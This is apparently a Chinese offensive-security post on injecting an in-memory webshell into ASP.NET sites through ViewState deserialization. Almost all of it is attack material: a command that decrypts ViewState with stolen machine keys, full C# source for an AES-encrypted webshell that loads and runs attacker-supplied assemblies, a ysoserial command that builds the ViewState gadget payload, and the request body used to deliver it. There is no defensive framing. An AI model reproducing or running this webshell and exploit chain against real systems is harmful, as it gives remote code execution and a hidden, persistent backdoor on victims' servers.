.NET系统|看我如何一步到位注入内存马

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDw== --decrypt --purpose=viewstate --modifier=C2EE9ABB --macdecode --TargetPagePath "./login.aspx" -f out.txt --IISDirPath="/"

class d{    public d()    {        System.Web.HttpContext Context = System.Web.HttpContext.Current;        Context.Server.ClearError();        Context.Response.Clear();        try        {            string key = "3c6e0b8a9c15224a";            string pass = "pas";            string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");            byte[] data = System.Convert.FromBase64String(Context.Request[pass]);            data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);            if (Context.Session["payload"] == null)            {                Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });            }            else            {                System.IO.MemoryStream outStream = new System.IO.MemoryStream();                object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");                o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();                byte[] r = outStream.ToArray();                Context.Response.Write(md5.Substring(0, 16));                Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));            }        }        catch (System.Exception) { }        Context.Response.Flush();        Context.Response.End();    }}

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "memshell.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="C2EE9ABB" --validationalg="SHA1" --validationkey="C50xxxxxxxxxxxxxxABE"

__VIEWSTATE=&__VIEWSTATEGENERATOR=C2EE9ABB&